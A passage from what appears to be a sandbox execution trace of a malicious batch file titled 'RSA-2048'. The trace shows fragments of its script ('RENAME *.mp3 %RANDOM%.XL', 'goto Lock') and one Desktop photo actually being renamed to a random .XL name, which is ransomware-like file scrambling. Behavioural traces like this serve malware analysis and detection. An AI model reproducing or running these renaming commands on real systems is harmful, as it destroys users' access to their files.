nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.957] SetFilePointer (in: hFile=0x74, lDistanceToMove=5066, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13ca [0037.958] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.958] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.958] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ca [0037.958] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.958] GetFileType (hFile=0x74) returned 0x1 [0037.958] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ca [0037.958] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.958] SetFilePointer (in: hFile=0x74, lDistanceToMove=5072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13d0 [0037.958] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp3\r\nock\r\n") returned 6 [0037.958] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.958] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13d0 [0037.958] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.958] GetFileType (hFile=0x74) returned 0x1 [0037.958] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13d0 [0037.958] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.958] SetFilePointer (in: hFile=0x74, lDistanceToMove=5074, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13d2 [0037.958] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np3\r\n") returned 2 [0037.958] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.958] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13d2 [0037.958] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.959] GetFileType (hFile=0x74) returned 0x1 [0037.959] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13d2 [0037.959] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.959] SetFilePointer (in: hFile=0x74, lDistanceToMove=5100, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13ec [0037.959] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp3 %RANDOM%.XL\r\n") returned 26 [0037.959] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.959] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ec [0037.959] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.959] GetFileType (hFile=0x74) returned 0x1 [0037.959] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ec [0037.959] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.959] SetFilePointer (in: hFile=0x74, lDistanceToMove=5111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13f7 [0037.959] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n3 %RANDOM%.XL\r\n") returned 11 [0037.959] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.959] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13f7 [0037.959] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.959] GetFileType (hFile=0x74) returned 0x1 [0037.959] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13f7 [0037.960] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.960] SetFilePointer (in: hFile=0x74, lDistanceToMove=5113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13f9 [0037.960] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.960] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.960] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13f9 [0037.960] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.960] GetFileType (hFile=0x74) returned 0x1 [0037.960] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13f9 [0037.960] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.960] SetFilePointer (in: hFile=0x74, lDistanceToMove=5119, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13ff [0037.960] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":wav\r\nock\r\n") returned 6 [0037.960] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.960] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ff [0037.960] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.960] GetFileType (hFile=0x74) returned 0x1 [0037.960] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ff [0037.960] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.960] SetFilePointer (in: hFile=0x74, lDistanceToMove=5121, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1401 [0037.961] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nav\r\n") returned 2 [0037.961] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.961] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1401 [0037.961] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.961] GetFileType (hFile=0x74) returned 0x1 [0037.961] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1401 [0037.961] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.961] SetFilePointer (in: hFile=0x74, lDistanceToMove=5147, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x141b [0037.961] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.wav %RANDOM%.XL\r\n") returned 26 [0037.961] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.961] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x141b [0037.961] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.961] GetFileType (hFile=0x74) returned 0x1 [0037.961] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x141b [0037.961] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.961] SetFilePointer (in: hFile=0x74, lDistanceToMove=5158, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1426 [0037.961] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nv %RANDOM%.XL\r\n") returned 11 [0037.961] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.961] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1426 [0037.962] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.962] GetFileType (hFile=0x74) returned 0x1 [0037.962] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1426 [0037.962] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.962] SetFilePointer (in: hFile=0x74, lDistanceToMove=5160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1428 [0037.962] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.962] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.962] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1428 [0037.962] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.962] GetFileType (hFile=0x74) returned 0x1 [0037.962] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1428 [0037.962] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.962] SetFilePointer (in: hFile=0x74, lDistanceToMove=5166, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x142e [0037.962] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":jpg\r\nock\r\n") returned 6 [0037.962] _close (_FileHandle=3) returned 0 [0037.962] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.962] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.963] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.963] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.963] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.963] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.963] SetConsoleInputExeNameW () returned 0x1 [0037.963] GetConsoleOutputCP () returned 0x1b5 [0037.963] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.963] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.964] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.964] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.964] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.964] SetFilePointer (in: hFile=0x74, lDistanceToMove=5166, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x142e [0037.964] GetProcessHeap () returned 0x4e0000 [0037.964] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0037.964] GetProcessHeap () returned 0x4e0000 [0037.964] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5940 | out: hHeap=0x4e0000) returned 1 [0037.964] GetProcessHeap () returned 0x4e0000 [0037.964] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0037.964] GetProcessHeap () returned 0x4e0000 [0037.964] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0037.964] GetProcessHeap () returned 0x4e0000 [0037.964] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0037.964] GetProcessHeap () returned 0x4e0000 [0037.964] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0037.964] GetProcessHeap () returned 0x4e0000 [0037.964] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0037.964] GetProcessHeap () returned 0x4e0000 [0037.964] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0037.965] GetProcessHeap () returned 0x4e0000 [0037.965] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.965] GetProcessHeap () returned 0x4e0000 [0037.965] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0037.965] GetProcessHeap () returned 0x4e0000 [0037.965] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.965] GetProcessHeap () returned 0x4e0000 [0037.965] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.965] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.965] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x142e [0037.965] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x11ff, lpOverlapped=0x0) returned 1 [0037.965] SetFilePointer (in: hFile=0x74, lDistanceToMove=5168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1430 [0037.965] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.jpg goto jpg\r\n\r\n") returned 2 [0037.965] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.965] GetFileType (hFile=0x74) returned 0x1 [0037.965] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.965] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1430 [0037.965] GetProcessHeap () returned 0x4e0000 [0037.965] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0037.965] GetProcessHeap () returned 0x4e0000 [0037.965] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0037.966] _tell (_FileHandle=3) returned 5168 [0037.966] _close (_FileHandle=3) returned 0 [0037.966] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.966] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.966] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.966] SetFilePointer (in: hFile=0x74, lDistanceToMove=5168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1430 [0037.966] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.966] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1430 [0037.966] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x11fd, lpOverlapped=0x0) returned 1 [0037.966] SetFilePointer (in: hFile=0x74, lDistanceToMove=5194, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x144a [0037.966] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="RENAME *.jpg %RANDOM%.XL\r\n\n") returned 26 [0037.967] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.967] GetFileType (hFile=0x74) returned 0x1 [0037.967] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.967] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x144a [0037.967] GetProcessHeap () returned 0x4e0000 [0037.967] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0037.967] GetProcessHeap () returned 0x4e0000 [0037.967] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x4008) returned 0x5078b8 [0037.967] GetProcessHeap () returned 0x4e0000 [0037.967] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f5880 [0037.967] GetEnvironmentVariableW (in: lpName="RANDOM", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0037.967] _wcsicmp (_String1="RANDOM", _String2="CD") returned 15 [0037.967] _wcsicmp (_String1="RANDOM", _String2="ERRORLEVEL") returned 13 [0037.967] _wcsicmp (_String1="RANDOM", _String2="CMDEXTVERSION") returned 15 [0037.967] _wcsicmp (_String1="RANDOM", _String2="CMDCMDLINE") returned 15 [0037.967] _wcsicmp (_String1="RANDOM", _String2="DATE") returned 14 [0037.967] _wcsicmp (_String1="RANDOM", _String2="TIME") returned -2 [0037.967] _wcsicmp (_String1="RANDOM", _String2="RANDOM") returned 0 [0037.968] rand () returned 10354 [0037.968] _vsnwprintf (in: _Buffer=0x4a610640, _BufferCount=0x1fff, _Format="%d", _ArgList=0x41f464 | out: _Buffer="10354") returned 5 [0037.968] GetProcessHeap () returned 0x4e0000 [0037.968] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0037.968] GetProcessHeap () returned 0x4e0000 [0037.968] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5078b8 | out: hHeap=0x4e0000) returned 1 [0037.968] GetProcessHeap () returned 0x4e0000 [0037.968] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0037.968] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.968] GetProcessHeap () returned 0x4e0000 [0037.968] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f5880 [0037.968] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x28) returned 0x4f6080 [0037.968] _tell (_FileHandle=3) returned 5194 [0037.968] _close (_FileHandle=3) returned 0 [0037.969] _wcsicmp (_String1="RENAME", _String2="DIR") returned 14 [0037.969] _wcsicmp (_String1="RENAME", _String2="ERASE") returned 13 [0037.969] _wcsicmp (_String1="RENAME", _String2="DEL") returned 14 [0037.969] _wcsicmp (_String1="RENAME", _String2="TYPE") returned -2 [0037.969] _wcsicmp (_String1="RENAME", _String2="COPY") returned 15 [0037.969] _wcsicmp (_String1="RENAME", _String2="CD") returned 15 [0037.969] _wcsicmp (_String1="RENAME", _String2="CHDIR") returned 15 [0037.969] _wcsicmp (_String1="RENAME", _String2="RENAME") returned 0 [0037.969] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0037.969] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x48) returned 0x4f4a98 [0037.969] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4a98, Size=0x28) returned 0x4f4a98 [0037.969] GetProcessHeap () returned 0x4e0000 [0037.969] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x28 [0037.969] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x36) returned 0x4f4ac8 [0037.969] GetProcessHeap () returned 0x4e0000 [0037.969] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x48) returned 0x4f4b08 [0037.970] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4b08, Size=0x28) returned 0x4f4b08 [0037.970] GetProcessHeap () returned 0x4e0000 [0037.970] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b08) returned 0x28 [0037.970] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x2c) returned 0x4f4b38 [0037.970] GetProcessHeap () returned 0x4e0000 [0037.970] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f6868 [0037.970] _wcsicmp (_String1="*.jpg", _String2=".") returned -4 [0037.970] _wcsicmp (_String1="*.jpg", _String2="..") returned -4 [0037.970] GetFileAttributesW (lpFileName="*.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.jpg")) returned 0xffffffff [0037.970] GetLastError () returned 0x7b [0037.970] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x210) returned 0x4f6ac8 [0037.970] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4f6ad0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0037.970] GetFullPathNameW (in: lpFileName="*.jpg", nBufferLength=0x104, lpBuffer=0x41e868, lpFilePart=0x41e850 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", lpFilePart=0x41e850*="*.jpg") returned 0x2b [0037.970] SetErrorMode (uMode=0x0) returned 0x1 [0037.970] GetProcessHeap () returned 0x4e0000 [0037.971] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f6ce0 [0037.971] _wcsicmp (_String1="*.jpg", _String2=".") returned -4 [0037.971] _wcsicmp (_String1="*.jpg", _String2="..") returned -4 [0037.971] GetFileAttributesW (lpFileName="*.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.jpg")) returned 0xffffffff [0037.971] GetLastError () returned 0x7b [0037.971] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", fInfoLevelId=0x1, lpFindFileData=0x4f6870, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4f6870) returned 0x4f4b70 [0037.971] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\u-JXm.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\u-jxm.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\10354.XL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\10354.xl")) returned 1 [0037.976] FindNextFileW (in: hFindFile=0x4f4b70, lpFindFileData=0x4f6870 | out: lpFindFileData=0x4f6870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f24e3c0, ftCreationTime.dwHighDateTime=0x1d5e1b3, ftLastAccessTime.dwLowDateTime=0x22975c80, ftLastAccessTime.dwHighDateTime=0x1d5e6e2, ftLastWriteTime.dwLowDateTime=0x22975c80, ftLastWriteTime.dwHighDateTime=0x1d5e6e2, nFileSizeHigh=0x0, nFileSizeLow=0x2fc5, dwReserved0=0x0, dwReserved1=0x0, 